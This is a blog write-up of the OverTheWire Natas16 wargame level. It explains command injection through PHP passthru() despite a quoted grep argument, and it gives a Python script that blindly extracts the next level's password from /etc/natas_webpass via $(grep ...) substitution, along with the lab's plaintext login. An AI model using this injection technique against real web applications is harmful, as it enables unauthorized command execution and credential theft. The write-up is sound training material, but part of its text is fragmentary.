29 Mar 2021 - OverTheWire - Natas
website: http://natas16.natas.labs.overthewire.org/ (password: WaIHEacj63wnNIBROHeqi3p9t0m5nhmh)
This challenge is very similar to the one in level 10, but the major difference is that it has a quote around the $key. See the difference below.
The implementation in Natas10:
passthru("grep -i $key dictionary.txt");
The implementation in this challenge:
passthru("grep -i \"$key\" dictionary.txt");
Because of the quote, all user input will be considered as a whole word to search. Therefore, the method we used in Natas10 will not work any more. However, we can see the implementation still uses the vulnerable API passthru(). As such, the command injection vulnerability still exists.
To work around it, let’s start with a quick play - feeding the textbox with this input: $(echo hello). The webpage give the output:
hello
hello's
hellos
What we can observe is that, the source code took everything of my input and considered it as a command substitution. Therefore, it executed my command first and then used my command outputs as a keyword to search.
Here comes my final solution:
ch, we use a command substitution to grep it in the file /etc/natas_webpass/natas17. That is equivalent with an input of $(grep ch /etc/natas_webpass/natas17).The final solution is provided below.
#!/usr/bin/env python3
import requests
from requests.auth import HTTPBasicAuth
url = 'http://natas16.natas.labs.overthewire.org/?needle='
s = requests.Session()
s.auth = HTTPBasicAuth("natas16", "WaIHEacj63wnNIBROHeqi3p9t0m5nhmh")
passfile17 = '/etc/natas_webpass/natas17'
prefix = 'tested'
def get_password_chars():
filtered = ''
chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
print('Looking for password char set...')
for char in chars:
input_text = f'^{prefix}$(grep {char} {passfile17})'
if is_hit(input_text):
filtered += char
print(f'The password contains: {filtered}')
return filtered
def get_password(filtered):
password = ''
for i in range(32):
print(f'Looking for the position {i}...')
for char in filtered:
input_text = f'^{prefix}$(grep ^{password}{char} {passfile17})'
if is_hit(input_text):
password += char
print(password)
break
return password
def is_hit(data):
resp = s.get(f'{url}{data}')
return resp and prefix not in resp.text
# Step 1: Find out what chars the password contains
password_chars = get_password_chars()
# Step 2: Find out the password by ordering the chars found in step 1
password = get_password(password_chars)
print(f'The password is: {password}')
| «Prev | More About | Next» |
|---|---|---|
| Natas15 - SQL Injection Part 2 (Blind SQL Injection) | OverTheWire - Natas | Inter-process communication - Part 1 |